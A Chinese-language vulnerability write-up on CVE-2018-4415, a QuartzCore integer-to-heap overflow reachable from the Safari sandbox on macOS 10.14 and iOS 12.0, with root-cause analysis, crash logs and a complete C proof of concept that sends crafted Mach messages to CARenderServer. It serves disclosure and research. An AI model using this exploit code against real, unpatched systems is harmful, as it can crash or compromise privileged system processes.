如何利用QuartzCore堆溢出实现iOS/macOS Safari沙盒逃逸

 

一、漏洞概要

QuartzCore（即CoreAnimation）是macOS及iOS用来构建动画场景图的一个框架。CoreAnimation使用了一个独特的渲染模型，以独立进程来运行图形操作。在macOS上，该进程为WindowServer，在iOS上，该进程为backboardd。这些进程都在沙盒外，能够调用setuid。QuartzCore服务名通常也称为CARenderServer。macOS和iOS上都存在该服务，并且可以从Safari沙盒中访问，因此经常用于各种Pwn2Own场合中。该服务中存在一个整数溢出bug，导致最新的macOS/iOS上的QuartzCore存在堆溢出漏洞。

受影响的操作系统：

macOS 10.14
iOS 12.10

 

二、厂商回复

“CoreAnimation漏洞影响：应用程序可能使用系统权限来执行任意代码。已改进内存处理方式，修复该内存破坏问题。“

该漏洞编号为CVE-2018-4415。

 

三、漏洞细节

该漏洞的根源位于QuartzCore的CA::Render::InterpolatedFunction::InterpolatedFunction函数中，该函数并没有考虑到整数溢出问题。下面我们会在macOS以及iOS系统上详细介绍这个漏洞细节。

macOS 10.14

在macOS上，有个API（CGSCreateLayerContext）可以用来打开CARenderService（iOS上不存在该API）。攻击者可以向服务端口发送id为0x9C42或者0x9C43的消息。当进程（实际上为server_thread）收到这个特定的消息时，会进入类似反序列化的一个过程。只要提供适当的数据，执行流程将进入CA::Render::InterpolatedFunction::InterpolatedFunction函数中。

在上图中，请注意攻击者可以控制(a)以及(b)处这两个成员的值（CA使用类似CA::Render::Decoder::decode*之类的函数来反序列化对象），在CA::Render::InterpolatedFunction::allocate_storage函数中，函数会根据这些值来决定待分配的内存的大小。

在(d)处，v3由(a)以及(b)处的值来控制，而(e)处的v4同样由攻击者可控的(c)来控制。因此待分配的内存大小为4 * (v4 + v3)。然而仔细观察(f)，传递给CA::Render::Decoder::decode_bytes函数的第3个参数实际上为4 * v3。(f)处CA::Render::Decoder::decode_bytes简化后的形式类似于memcpy(v2, v8, 4 * v3)或者memset(v2, 0, 4 * v3)。因此，当4 * (v4 + v3)溢出而4 * v3没有溢出时，就会出现堆溢出问题。大家可以在本文后面的漏洞利用中，观察如何利用攻击者可控的这些值来触发整数溢出问题。

大家可以通过如下步骤，在macOS上复现这个问题：

1、clang QuartzCoreFunctionIntOverFlow.c -o
quartz_core_function_over_flow -framework CoreGraphics

2、./quartz_core_function_over_flow

1 Thread 0 Crashed:: Dispatch queue: com.apple.main−thread
com.apple.CoreFoundation 0x00007fff332e2daf __CFBasicHashAddValue + 2077
com.apple.CoreFoundation 0x00007fff332e33f5 CFDictionarySetValue + 187
com.apple.SkyLight 0x00007fff595ebfa9 CGXPostPortNotification + 123
com.apple.SkyLight 0x00007fff595eb947 notify_handler + 73
com.apple.SkyLight 0x00007fff595eb2d9 post_port_data + 237
com.apple.SkyLight 0x00007fff595eafba run_one_server_pass + 949
com.apple.SkyLight 0x00007fff595eab90 CGXRunOneServicesPass + 460
com.apple.SkyLight 0x00007fff595eb820 server_loop + 96
com.apple.SkyLight 0x00007fff595eb7b5 SLXServer + 1153
WindowServer 0x000000010011d4c4 0x10011c000 + 5316
libdyld.dylib 0x00007fff6036ced5 start + 1
Thread 2:: com.apple.coreanimation.render−server // CARenderServer thread
libsystem_platform.dylib 0x00007fff6056ce09 _platform_bzero$VARIANT$Haswell
+ 41
com.apple.QuartzCore 0x00007fff3e8ebaa4 CA::Render::Decoder::
decode_bytes(void*, unsigned long) + 46
com.apple.QuartzCore 0x00007fff3e8c35f7 CA::Render::InterpolatedFunction
::InterpolatedFunction(CA::Render::Decoder*) + 191
com.apple.QuartzCore 0x00007fff3e8c3524 CA::Render::Function::decode(CA
::Render::Decoder*) + 224
com.apple.QuartzCore 0x00007fff3e8ecb8a CA::Render::Decoder::
decode_object(CA::Render::Type) + 946
com.apple.QuartzCore 0x00007fff3e8edc8e CA::Render::decode_commands(CA::
Render::Decoder*) + 871
com.apple.QuartzCore 0x00007fff3e896422 CA::Render::Server::
ReceivedMessage::run_command_stream() + 748
com.apple.QuartzCore 0x00007fff3e73d2e1 CA::Render::Server::
server_thread(void*) + 1841
com.apple.QuartzCore 0x00007fff3e91427c thread_fun(void*) + 25
libsystem_pthread.dylib 0x00007fff60572795 _pthread_body + 159
libsystem_pthread.dylib 0x00007fff605726e2 _pthread_start + 70
libsystem_pthread.dylib 0x00007fff605722a9 thread_start + 13

iOS 12.10

由于这个问题的原因非常清楚，并且iOS和macOS上的代码基本一致，因此在这部分内容中，我们只讨论iOS和macOS上的一些不同点。

1、iOS上不存在类似CGSCreateLayerContext之类的API，不能直接获取CoreAnimation渲染上下文，但经过一番探索后，我们发现可以使用_XRegisterClient这个MIG函数来替代CGSCreateLayerContext。首先，攻击者需要打开com.apple.CARenderServer服务（可以在沙盒中访问该服务），然后调用通过mach_msg发送id为40202的消息来调用_XRegisterClient；

2、如果想在iOS 12 beta系统上复现该问题，需要使用最新版的1Xcode-beta（使用最新的SDK）；

3、请按照www.malhal.com的说明导入IOKit框架头部。请注意，这里应该将目标目录改为Xcode-beta应用所在的目录；

4、代码位于应用程序的didFinishLaunchingWithOptions函数中，会在应用程序启动时触发；

5、当应用安装后，启动applicationios-sbe即可。

1 Thread 3 name: com.apple.coreanimation.render−server // CARenderServer thread
2 Thread 3:
0 libsystem_platform.dylib 0x000000018fefe584 0x18fef6000 + 34180
1 QuartzCore 0x0000000194a6e1d4 0x19491e000 + 1376724
2 QuartzCore 0x0000000194a21a58 0x19491e000 + 1063512
3 QuartzCore 0x0000000194a710b8 0x19491e000 + 1388728
4 QuartzCore 0x0000000194a719c0 0x19491e000 + 1391040
5 QuartzCore 0x00000001949fb140 0x19491e000 + 905536
6 QuartzCore 0x00000001949facdc 0x19491e000 + 904412
7 QuartzCore 0x0000000194ab65c8 0x19491e000 + 1672648
8 libsystem_pthread.dylib 0x000000018ff0c26c 0x18ff01000 + 45676
9 libsystem_pthread.dylib 0x000000018ff0c1b0 0x18ff01000 + 45488
10 libsystem_pthread.dylib 0x000000018ff0fd20 0x18ff01000 + 60704

Thread 13 name: Dispatch queue: com.apple.libdispatch−manager
Thread 13 Crashed:
0 libdispatch.dylib 0x000000018fd18514 0x18fcca000 + 320788
1 libdispatch.dylib 0x000000018fd1606c 0x18fcca000 + 311404
2 libdispatch.dylib 0x000000018fd1606c 0x18fcca000 + 311404
3 libdispatch.dylib 0x000000018fd0f1ac 0x18fcca000 + 283052
4 libsystem_pthread.dylib 0x000000018ff0d078 0x18ff01000 + 49272
5 libsystem_pthread.dylib 0x000000018ff0fd18 0x18ff01000 + 60696

 

四、利用代码

/**
 *  Brief: Integer overflow in CoreAnimation, CVE-2018-4415
 *  Usage:
 *    1. clang FunctionIntOverFlow.c -o function_over_flow
 *    2. ./function_over_flow
 *
 *  Specifically, `CA::Render::InterpolatedFunction::allocate_storage` function in QuartzCore does
 *  not do any check for integer overflow in expression |result = (char *)malloc(4 * (v4 + v3));|.
 *
 *  The bug has been fixed in macOS 10.14.1 and iOS 12.1, since the interfaces and structure of
 *  messages are inconsistent between different versions, this PoC may only work on macOS 10.14 and
 *  iOS 12.0, but it's very easy to replant it to another versions.
 *
 *  Tips for debugging on macOS: Turn Mac to sleep mode and ssh to the target machine, this may
 *  help you concentrate on your work.
 *
 *  One more: Mach service com.apple.CARenderServer is reacheable from Safari sandbox on both macOS
 *  and iOS. com.apple.windowserver.active accurately on macOS versions prior to macOS 10.14.
 */

#include <dlfcn.h>
#include <mach/mach.h>
#include <stdio.h>
#include <unistd.h>

static void do_int_overflow() {

    mach_port_t p = MACH_PORT_NULL, bs_port = MACH_PORT_NULL;
    task_get_bootstrap_port(mach_task_self(), &bs_port);
    const char *render_service_name = "com.apple.CARenderServer";
    kern_return_t (*bootstrap_look_up)(mach_port_t, const char *, mach_port_t *) =
        dlsym(RTLD_DEFAULT, "bootstrap_look_up");
    kern_return_t kr = bootstrap_look_up(bs_port, render_service_name, &p);

    if (kr != KERN_SUCCESS) {
        printf("[-] Cannot get service of %s, %s!n", render_service_name, mach_error_string(kr));
        return;
    }

    typedef struct quartz_register_client_s quartz_register_client_t;
    struct quartz_register_client_s {
        mach_msg_header_t header;
        uint32_t body;
        mach_msg_port_descriptor_t ports[4];
        char padding[12];
    };

    quartz_register_client_t msg_register;
    memset(&msg_register, 0, sizeof(msg_register));
    msg_register.header.msgh_bits =
        MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) |
        MACH_MSGH_BITS_COMPLEX;
    msg_register.header.msgh_remote_port = p;
    msg_register.header.msgh_local_port = mig_get_reply_port();
    msg_register.header.msgh_id = 40202;  // _XRegisterClient

    msg_register.body = 4;
    msg_register.ports[0].name = mach_task_self();
    msg_register.ports[0].disposition = MACH_MSG_TYPE_COPY_SEND;
    msg_register.ports[0].type = MACH_MSG_PORT_DESCRIPTOR;
    msg_register.ports[1].name = mach_task_self();
    msg_register.ports[1].disposition = MACH_MSG_TYPE_COPY_SEND;
    msg_register.ports[1].type = MACH_MSG_PORT_DESCRIPTOR;
    msg_register.ports[2].name = mach_task_self();
    msg_register.ports[2].disposition = MACH_MSG_TYPE_COPY_SEND;
    msg_register.ports[2].type = MACH_MSG_PORT_DESCRIPTOR;
    msg_register.ports[3].name = mach_task_self();
    msg_register.ports[3].disposition = MACH_MSG_TYPE_COPY_SEND;
    msg_register.ports[3].type = MACH_MSG_PORT_DESCRIPTOR;

    kr = mach_msg(&msg_register.header, MACH_SEND_MSG | MACH_RCV_MSG,
                  sizeof(quartz_register_client_t), sizeof(quartz_register_client_t),
                  msg_register.header.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if (kr != KERN_SUCCESS) {
        printf("[-] Send message failed: %sn", mach_error_string(kr));
        return;
    }

    mach_port_t context_port = *(uint32_t *)((uint8_t *)&msg_register + 0x1c);
    uint32_t conn_id = *(uint32_t *)((uint8_t *)&msg_register + 0x30);

    typedef struct quartz_function_int_overflow_s quartz_function_int_overflow_t;
    struct quartz_function_int_overflow_s {
        mach_msg_header_t header;
        char msg_body[0x60];
    };

    quartz_function_int_overflow_t function_int_overflow_msg = {0};
    function_int_overflow_msg.header.msgh_bits =
        MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
    function_int_overflow_msg.header.msgh_remote_port = context_port;
    function_int_overflow_msg.header.msgh_id = 40002;

    memset(function_int_overflow_msg.msg_body, 0x0, sizeof(function_int_overflow_msg.msg_body));
    *(uint32_t *)(function_int_overflow_msg.msg_body + 0) = 0x1;  // Ports count

    /**
     *    1. One port consumes 12B space
     *    2. This `mach_msg` routine dose not need a port, so set this port to MACH_PORT_NULL(memory
     *       cleared by memset)
     */

    *(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 0) = 0xdeadbeef;
    *(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 4) = conn_id;
    *(int8_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16) = 2;
    *(uint64_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 1) = 0xdeadbeefdeadbeef;
    *(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 9) = 0xffffffff;

    *(uint8_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 13) = 0x12;  // Decode Function
    *(uint8_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 14) = 0x2;
    /**(uint32_t*)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 15) = 0xDECAFBAD;*/
    *(uint64_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 15) = 0x2000000000000000;
    *(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 23) = 1;
    *(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 27) = 2;
    *(uint8_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 31) = 1;

    kr = mach_msg(&function_int_overflow_msg.header, MACH_SEND_MSG,
                  sizeof(function_int_overflow_msg), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if (kr != KERN_SUCCESS) {
        printf("[-] Send message failed: %sn", mach_error_string(kr));
        return;
    }

    return;
}

int main() {
    do_int_overflow();
    return 0;
}